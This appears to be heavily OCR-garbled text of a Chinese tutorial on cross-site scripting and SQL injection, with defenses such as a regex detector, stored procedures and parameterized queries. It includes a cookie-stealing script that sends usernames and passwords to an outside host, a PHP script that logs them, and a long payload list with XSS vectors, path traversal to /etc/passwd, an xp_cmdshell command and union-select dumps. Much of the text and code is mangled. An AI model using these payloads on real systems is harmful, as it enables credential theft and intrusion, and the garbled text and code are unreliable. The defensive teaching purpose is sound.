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XSS[ITkql[l

a4 XSS[TkqlT]

[ITTTTXCross Site Script[TTTTICSSITIXSS)IITITTITWebITITTTntmITTTTTITITTIITTITTWebTTIhtmITTTTTT

<! DOCTYPE html>
<html>
<head>
<?php include(' /components/headerinclude. php'); ?></head>
<style type="text/css">
. comment-title{
font-size: 14px;

margin: 6px Opx 2px 4pXx;

. comment- body{
font-size: 1l4px;
color: #ccc;
font-style: italic;
border-bottom: dashed 1lpx #ccc;
margin: 4px;
}
</style>
<script type="text/javascript" src="/js/cookies. js"></script>
<body>
<form method="post" action="1list. php">
<div style="margin: 20px; ">
<div style="font-size: 16px; font- weight: bold; ">Your Comment</div>
<div style="padding: 6px;">
Nick Name:
<br />
<input name="name" type="text" style="width: 300px;" />
</div>
<div style="padding: 6px; ">

Comment:



<br />
<textarea name="comment" style="height: 100px;
width: 300px; " ></textarea>
</div>
<div style="padding- left: 230px; ">
<input type="submit" value="POST" style="padding: 4px 0Opx;
width: 80px; " />
</div>
<div style="border-bottom: solid 1lpx #fff; margin- top: 10px;" >
<div style="font-size: 16px; font- weight: bold; ">Comments</div>
</div>
<?php
require(' /components/comments. php');
if('empty($ POST[' name'])){
addElement($ POST[' name'],$ POST[' comment']);
}
render Comments() ;
7>
</div>
</form>
</body>
</html>

addElement()[ITTITTIIIITrenderComments()[TTTTTTITTITITIITITI



Your Comment

Mick Name:

Comments

Byron

This is a test

Your Comment
Mick Mame:

Comment:

Look at you console boy!

<script type="text/javascript” > console.log{Hey
wvour are a fool fish!'); < /script >

T Hey you are a fool fish!” T T O

XSS
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Your Comment
Mick Mame:

steal password

Comment:
1 got your password
<seript type="textjavascript’

src="http:/ftest.com hackjs™> < fsenpt=

|http://test.com/hack.js|[[[[D

var username=CookieHelper. getCookie(' username'). value;

var password=CookieHelper. getCookie(' password'). value;

var script =document. createElement(' script');

script. src="http: //test. com/index. php?username=' +username+' &password=' +password;

document. body. appendChild(script);

[TII1] javascript[I] cookidhttp: //test. com/index. php

Dﬂjjhttp://test.com/index.php|

<?php
if(!empty($ GET[' password'])){
$username=$ GET[' username'];

$password=$ GET[' password'];

try{
$path=$ SERVER[ "DOCUMENT ROOT"].' /password. txt';
$fp=fopen($path,'a');
flock($fp, LOCK EX);
fwrite($fp, "$username\t $password\r\n");
flock($fp, LOCK UN);
fclose($fp);

}catch(Exception $e){

?7>
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' ><script>alert(document. cookie) </script>

=' ><script>alert(document. cookie) </script>
<script>alert(document. cookie) </script>

<script>alert(vulnerable) </script>

%3Cscript%3Ealert(' XSS') %3C/script%3E

<script>alert(' XSS')</script>

<img src="javascript: alert(' XSS')">
%s0a%0a<script>alert(\"Vulnerable\")</script>. jsp
%22%3cscript%s3ealert( %22x55%22) %3c/script%s3e
%2€%2€/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2¢e/%2e%2e/etc/passwd

%2E%2E / %2E%2E / %2E%2E / %2E %2E / %2E %2E /windows /win. ini
%3C/a%3e%3cscript%s3ealert(%22xs5%22) %3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xs5%22) %3c/script%3e
%3cscript%s3ealert(%22xss%22) %3c/script%3e/index. html

%3f. jsp

%3f. jsp

<script>alert(' Vulnerable'); </script>

<script>alert(' Vulnerable')</script>

?7sql_debug=1

a%5cC. aspx

a. jsp/<script>alert(' Vulnerable')</script>

a/

a?<script>alert(' Vulnerable')</script>

"><script>alert(' Vulnerable')</script>

';exec%20master.. xp_cmdshell%20' dir%20 c: %20>%20c: \inetpub\wwwroot\?. txt' --&&
%22%3E%3Cscript%s3Ealert(document. cookie) %3C/script%3E
%3Cscript%3Ealert(document. domain); %3C/script%3E&
%3Cscript%3Ealert(document. domain); %3C/script%3E&SESSION ID={SESSION ID}&SESSION ID=
1%20union%20all%20select%20pass, 0, 0, 0, 0%20froms20customers%20where%20fname=
http: //www. cnblogs. com/http: //www. cnblogs. com/http: //www. cnblogs. com/http: //www. cnblogs. com/etc,
NN\ o\ o\ o\ L\ \windows\system. ini

.\ o\ N\ \windows\system. inid

Pyl --"<XSS>=&{() }

<IMG src="javascript: alert(' XSS');">

<IMG src=javascript: alert(' XSS')>

<IMG src=JaVaScRiPt: alert(' XSS') >



<IMG src=JaVaScRiPt: alert(" XSS") >

<IMG src=javascript: alert(' XSS')>

<IMG src=javascript: alert(' XSS')>

<IMG

SrC=&#X6A&#X61 &#XT 6 8&#X61 &#XT 3EH#X63E&H#XT 2 E#X698#XT O &#XT A&H# X3 A&HX61 &#X6 CE#X065 &#XT 2 &i#txT A&H#X28&#Xx27 &
<IMG src="jav ascript:alert(' XSS');">

<IMG src="jav ascript: alert(' XSS');">

<IMG src="jav ascript:alert('XSS');">

"<IMG src=java\0script: alert(\"XSS\")>";' > out

<IMG src=" javascript:alert(' XSS');">
<SCRIPT>a=/XSS/alert(a. source) </SCRIPT>

<BODY BACKGROUND="javascript: alert(' XSS')">

<BODY ONLOAD=alert(' XSS')>

<IMG DYNSRC="javascript: alert(' XSS')">

<IMG LOWSRC="javascript: alert("' XSS')">

<BGSOUND src="javascript: alert(' XSS');">

<br size="&{alert(' XSS')}">

<LAYER src="http: //xss. ha. ckers. org/a. js"></layer>

<LINK REL="stylesheet" href="javascript:alert('XSS');">

<IMG src='vbscript: msgbox(" XSS")"' >

<IMG src="mocha: [ code]">

<IMG src="livescript:[code]">

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript: alert(' XSS');">
<IFRAME src=javascript: alert(' XSS')></IFRAME>

<FRAMESET><FRAME src=javascript: alert(' XSS')></FRAME></FRAMESET>

<TABLE BACKGROUND="javascript: alert(' XSS')">

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

<DIV STYLE="behaviour: url('http: //www. how- to- hack. org/exploit. html');">
<DIV STYLE="width: expression(alert('XSS'));">

<STYLE>@im\port' \ja\vasc\ript: alert("XSS")'; </STYLE>

<IMG STYLE=' xss: expre\ssion(alert("XSSs"))'>

<STYLE TYPE="text/javascript">alert(' XSS'); </STYLE>

<STYLE TYPE="text/css"> XSS{background-image: url("javascript: alert(' XSS')"); }</STYLE><A
class="XSS"></A>

<STYLE type="text/css">BODY{background: url("javascript: alert(' XSS')")}</STYLE>
<BASE href="javascript: alert(' XSS');//">
getURL("javascript: alert(' XSS')")

a="get"; b="URL"; c="javascript: ";d="alert(' XSS');"; eval(a+b+c+d);

<XML src="javascript: alert(' XSS');">



"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert(' XSS');}</SCRIPT><"

<SCRIPT src="http: //xss. ha. ckers. org/xss. jpg"></SCRIPT>

<IMG src="javascript: alert(' XSS')"

<! --#exec cmd="/bin/echo ' <SCRIPT SRC'"--><!--#exec cmd="/bin/echo

" =http: //xss. ha. ckers. org/a. js></SCRIPT>' "-->

<IMG src="http: //www. thesiteyouareon. com/somecommand. php?somevariables=maliciouscode" >
<SCRIPT a=">" src="http: //xss. ha. ckers. org/a. js"></SCRIPT>

<SCRIPT =">" src="http: //xss. ha. ckers. org/a. js"></SCRIPT>

<SCRIPT a=">" '' src="http: //xss. ha. ckers. org/a. js"></SCRIPT>

<SCRIPT "a='>'"" src="http: //xss. ha. ckers. org/a. js"></SCRIPT>

<SCRIPT>document. write("<SCRI"); </SCRIPT>PT src="http: //xss. ha. ckers. org/a. js"></SCRIPT>
<A href=http: //www. gohttp: //www. google. com/ogle. com/>link</A>

admin' - -

" or 0=0 --

" or 0=0 --

or 0=0 --

" or 0=0 #

" or 0=0 #

or 0=0 #

hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
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SQL Injection[TTITTITTITTITTITTITTITTITTITTTITITTITTITITSQL Injection(]

s Injection[TTITTSQLITITWeb[TTITITTTTTTTTTITTTTTITTTTTITITTTITIS QLT

MO TS QLT T T T T ATTI TWe b TS Q LT T T T T T T T T T

[TTTITIIIIIITTSQL Injection[]

[ITTTTITTITURL www.sample.comTTTITTTTTTTTTITTITTITTITTITTITTITISQL Injection[ITTTTwww.sample.c

[TITTISQL InjectionITTTHITITITIIIITITTISQL InjectionITTTITITIpubsOIITIIT]

[ITTWeb[TTTjob[TTITIT!

job[ITTTTT]

jobs
% job_id

job_desc

mir_lvl

max_lvl

(LT el () L Sl T T U
1 jobs[]

[IITTTWeb[TTTTTTTId[job_id[TTTTTTTTIT!

/// <summary>
/// Handles the Load event of the Page control.
/// </summary>
/// <param name="sender">The source of the event. </param>
/// <param name="e">The <see cref="System. EventArgs"/> instance containing the event
data. </param>
protected void Page Load(object sender, EventArgs e) {
if (! IsPostBack) {

// Gets departmentId from http request

string queryString = Request. QueryString[ "departmentID"];

if (!string. IsNullOrEmpty(queryString)) {

// Gets data from database


https://wzhz.xyz/uploads/images/gallery/2020-06/siqBq4LLm1ZAhkS0-image-1592975322680.png

gdvData. DataSource = GetData(queryString. Trim());

// Binds data to gridview.

gdvData. DataBind();

TITTTTWe b T

&= i3 |IIICE|||'|IIIE|::3452,."ET-:CE|L|5iI'|gXSLT,."DEf?Uft.EISD
\"-\—F’-’

@ =H- L Cookies # F CSSii8- = wia- O BE- O FREE- L

SQL Injection

enerate Excel

Id Description Hin Lvl{lax Lwvl
1 [Wew Hire - Job not specified|10 10

L Lt g g el g Lol s el s

[2 job[I11T]

T O IO Ndbescription[Min LviMax LvITTT]

IO G OIS QLTI

SELECT job id, job desc, min_ 1lvl, max_ 1lvl
FROM jobs
WHERE (job id = 1)

[IITITTTIDepartment TITTTTITTTITTWHERETTITITITWHERE[TTIOK]L

SQLIIIITT
SELECT job _id, job desc, min_1lvl, max_1lvl
FROM jobs
WHERE (job id =1) OR1 =1

[ITTTWHERETITTTITTWHERETTTTTTTTITTTITTITTIS QLT
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SELECT job id, job desc, min 1lvl, max lvl
FROM jobs

SQL[ITITIITT]

string sqll = string. Format(

"SELECT job _id, job desc, min 1lvl, max lvl FROM jobs WHERE job id='{0}'", jobId);

QT TS QLTI TTURLATITTIT = 12 =2[JTITTURLIT]

44 http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'l'="1

[DSQLITIT]
SELECT job id, job desc, min_ 1lvl, max_1lvl
FROM jobs

WHERE job id ='1" OR'1" =1



L {1 localhost:3452) ExcelUsingXSLT/Defautt.aspkzjobid=1'or'1"="
@ 2R L Cookiesr 2 T CSS iR~ = - B BE- O AREE- O I
SQL Injection
Generate Excel
Id Description Hin Lvl{lax Lvl
1 [Mew Hire — Jobk not specified|10 10
2 I[Chief Executive Officer 200 250
3 |Business Operations Nanager |175 225
d |Chief Financial Officier 175 250
5 |Publisher 150 250
& Manazing Editor 140 225
T Marketing Managzer 120 200
g8 |[Public Relations Nanaser 100 175
9 |[Acquisitions Nanager T 1756
10|Productions Nanager 75 165
11 |[Operations Nanager 75 150
1Z|[Editor 20 100
13|5ales Eepresentative 25 100
14|De=izner 25 100
PR PR S P S I S P F e T
(B job[TITT]
o b I T T T T I T I T I

o b T T T T T T T o o T T T TIT T

OTTIITITiobITITITIVRL]

44 http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or 1=(select
count(*) from job)--

[(MSQLITIT]
SELECT job id, job desc, min 1lvl, max lvl
FROM jobs

WHERE job _id='1'or 1=(select count(*) from job) --'
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= ||:|CE|||'|I:IEt:3452,"E:-:CElLIEiI'ngSLT,"DEﬁUft.EED@id=1'Dr 1=(select count(*) from job) — )

o

@ =FA- L Cookies 2 T CS5i8iE- = w&- O BE- O FREE- L EEmee- 2 85 B 804 ¥ T

“/ExcelUsingXSLT" N A2 FH AR & 2517 -

éﬁg 'job' E3t.

FH: H7L9 Web EREE. LEFLHERNRY. SEEESREREE. UTEFXEEELRMETTSIESEMA L AREEEE.

B e 88 B system.Data. SqlClient. SgException) 715 & job T

EEE:
U Ve i L el ) i
(M job[ITIT]
M TOUR LI T T T O T O A T O A T O T T T T AT T o b TITITTISQL
[TITITlobsIITITIVRL{]
a4 http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'orl=(select count(*)
from jobs) --

[(SQLITIT

SELECT job _id, job _desc, min_1lvl, max_1lvl

FROM jobs

WHERE job id='1'or 1=(select count(*) from jobs) --'

&= Incalhu;t:3452}ExceILISingKSLT,fDeﬁlurt.aEp@bidﬂ'nr 1=(select count(*) frumjnh;]_)

\'\-\—F(-’

@ =H- L Cookiess »# T CS5 8 = =i O B O FREE- L BHEDE- o5 5 W Br

SQL Injection

enerate Excel

Id Description Hin Lvl(lax Lvl
1 [Mew Hire - Job not specified|10 10

PR S P S S S R P |
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2. TS QLOTITITITIS QLTI T T TITITIIT

3. ITMMTTTITITHOLTITITITWHEET

RETEXECIDROP(T]

private static readonly Regex RegSystemThreats =

new Regex( @' \s?or\s*| \s?;\s?| \s?drop\s| \s?grant\s| ™ | \s?--

| \s?union\s| \s?delete\s| \s?truncate\s|" +

@' \s?sysobjects\s?| \s?xp . *?| \s?syslogins\s?| \s?sysremote\s?| \s?sysusers\s?| \s?sysxlogins\s?| \s'

RegexOptions. Compiled | RegexOptions. IgnoreCase);

[TTTITTTIITITTTIRegSystemThreats TTTTTTTTTTTTTTTTIITT

T T TN E T T T ——IsMatch O[T

/17
/17
11/
/17
/17

<summary>
A helper method to attempt to discover [known] SqlInjection attacks
</summary>

<param name="whereClause">string of the whereClause to check</param>

<returns>true if found, false if not found </returns>

public static bool DetectSqlInjection(string whereClause)

{

/17
/17
11/
117/
/17
/17

return RegSystemThreats. IsMatch(whereClause);

<summary>
A helper method to attempt to discover [known] SqlInjection attacks

</summary>

<param name="whereClause">string of the whereClause to check</param>
<param name="orderBy">string of the orderBy clause to check</param>

<returns>true if found, false if not found </returns>

public static bool DetectSqlInjection(string whereClause, string orderBy)

{

return RegSystemThreats. IsMatch(whereClause) || RegSystemThreats. IsMatch(orderBy);



/// <summary>
/// Handles the Load event of the Page control.
/// </summary>
/// <param name="sender">The source of the event. </param>
/// <param name="e">The <see cref="System. EventArgs"/> instance containing the event
data. </param>
protected void Page Load(object sender, EventArgs e)
{
if (! IsPostBack)
{
// Gets departmentId from http request
string queryString = Request. QueryString["jobId"];
if (!string. IsNullOrEmpty(queryString))
{
if (!DetectSglInjection(queryString) && !DetectSqlInjection(queryString,
queryString))

{
// Gets data from database
gdvData. DataSource = GetData(queryString. Trim());
// Binds data to gridview.
gdvData. DataBind();
}
else
{
throw new Exception("Please enter correct field");
}

OTTITUR LTINS QL Injection(]

44 http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'l'="1



&“ Inmlhust:3452jExcelUsingXSLTfDeﬁurt.aspﬁ'nbidﬂ'nr'1'='1 }

@ =RA- X cookies # T CSSiBiR- B we- B EE- O PR O Erthe S 85 B w0 ¥ T

“/ExcelUsingXSLT" " AR FEF R RE 224512 -

Please enter correct field
W HITEE Web ER8E. HERHENSY. EETESREREE, UTEFZEHELURAETSESEH Y GEEgEE.

HE &5 £ H: System.Exception: Please enter correct field

ISR R S P S S I S e I P

06 [IITITIT]

ITITTITITIITESQL Injection T T T T T

-- Author: JKhuang
-- Create date: 12/31/2011
-- Description: Get data from jobs table by specified jobId

ALTER PROCEDURE [ dbo]. [ GetJobs]
-- ensure that the id type is int
@jobId INT
AS
BEGIN
== SET NOCOUNT ON;
SELECT job id, job desc, min 1vl, max lvl
FROM dbo. jobs
WHERE job_id = @jobId
GRANT EXECUTE ON GetJobs TO pubs
END

[TTTTTWebTITITTTT T

using (var com = new SqlCommand(" GetJobs", con))

{
// Uses store procedure.

com. CommandType = CommandType. StoredProcedure;
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// Pass jobId to store procedure

com. Parameters. Add(" @jobId", SqlDbType.Int).Value = jobld;
com. Connection. Open();

gdvData. DataSource = com. ExecuteScalar();

gdvData. DataBind();

{?If\

A
@ =RA- X cookies # T CSSiBiR- B we- B EE- O PR O Erthe S 85 B w0 ¥ T

“/ExcelUsingXSLT" " AR FEF R RE 224512 -

BN F1F BRI A IE T -

HH: S4THE Web EFREE. REFRLENSY. SEEEERREEE. UTEFXEEELURINET RIS RANBEEE.

1 localhost:3452) ExcelUsingXSLT/Defautt asp€zjobid="1"or'1'="1

RERNE A System FormatException: # S E £EE ST EE.

(LU VAV oy §0 L L ot 1 ol

[CTTTTTVUR LTS QU T T T A A T T

!!!igql!

TS QLTS QLTS Q LTI T T T T T T T T T T T H——1S QLT

L

string sqll = string. Format("SELECT job id, job desc, min_ 1lvl, max_ lvl FROM jobs WHERE job id
= @obId");
using (var con = new
SqlConnection( ConfigurationManager. ConnectionStrings[ " SQLCONN1"]. ToString()))
using (var com = new SqlCommand(sqll, con))
{
// Pass jobId to sql statement.
com. Parameters. Add(" @jobId", SqlDbType.Int).Value = jobId;
com. Connection. Open();
gdvData. DataSource = com. ExecuteReader();

gdvData. DataBind();
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€& 9 | [ localhost:3452/ExcelUsingXSLT/Default. asplGi
e

@ =RA- X cookies # T CSSiBiR- B we- B EE- O PR O Erthe S 85 B w0 ¥ T

“/ExcelUsingXSLT" " AR FEF R RE 224512 -

BN F1F BRI A IE T -

FH: H4TSE Web EREE. LERGENFE. SETERERREE. LT EFREERLRSETT RIS LENSEEE.
RERNE A System FormatException: # S E £EE ST EE.

08 IIISQLIT

O T I T T T T T o bs TS QLT

[T T TN ETOTITTIT]

= G pubs

H [0 FEEXRE

i

[ ME

[ Al5aE]

H [ Argmizty:

= @ Service Broker

H [3 i +

= [ ==t
1 HF
[ s

[ g

[ TR

[ ik
LUt L LIS aetd) L L ot

E THER  Hesanlewouros

S - e

S rRE EMEATEEME, W, WECTTE. ENFTETLNERNS. ERENL . QUL R,

Add new schema
EMSE G

MR Y
B E

pitip sy coblogs com/nish

[9 [THumanResourcel]]

(IIIIIITpubsIITITHumanResource[ITTITjobs[ITHumanResource[I1T]

(LU VAV oy §0 L L ot 1 ol
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2 (J pubs [T
Lo BEEXF HERN...
SR HRIRE)
[ R e
E dbu.au1’| Bt (e %J
= dbo.disq TH=EOQ
= dbo.emy

wHERHEAE  »
Sirrrrrertoiee e rrrsr

+

aoih HumanResource
FriEEE SRR pubs
1586
= E&i =
Text/Image 3 {44H PRIMARY
Lt job_id
EHIEETE HIIE PRIMARY
3=k =] 5
e ==L =] =
1T GUID Bl

— R T e e PP RS |
010 [MyobsIITIT]

[ITTTTITISQLITTISQL ServerTjobsTTTTTTITTTIITITTTITTIT]

SELECT job _id, job desc, min_1lv1l, max lvl FROM jobs

% pubs - SQLQuery6.sql*|  pubs-SQLQuery3.sal | .pubs -dbo.jobs™ |

SELECT job _id, job desc, min 1vl, max 1vl FROM jobs

< m
Lo LA
HE zos, 2R 18 BE L F 1T
lﬁa‘?i% 'jobs' oW

gL s VR atetd 1) L St L T L
011 11

IO 0.O00" MHumanResource. jobs[TTISQLITITIT
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SELECT job id, job desc, min lvl, max lvl FROM HumanResource. jobs

" pubs- 5QLQuery6.sql*  .pubs-5QLQuery3.sgl | pubs-dbo.jobs® | HAEETIFETEER

SELECT job_id, job desc, min 1vl, max 1vl FROM HumanResource.jobs

% 1]
e [ HEe

113 FTEREAE

TS QLOTITITITITdbo. jobs[TTTTIT]

(T ITdefault schemaMldboTITITITISql ServerITITITITITIITITITIdefault schema}——dbo([]

[JLIJ LTI E LTI
LINOto 'S

T OIIITIIIIIONET Framework[JORMIITITITITINHibernate[JCastle[JEntity Framewor

fm =
= B
755 job_id
ﬁjob_d £5C
§ min_lvl
ﬁ max_|vl
L w,

N LUy el 13 L et L L S

012 [TJobs.dbmi1]

var dc = new pubsDataContext();

int result;

// Validates jobId is int or not.
if (int. TryParse(jobId, out result))

{
gdvData. DataSource = dc. jobs. Where(p => p. job_id == result);
gdvData. DataBind();
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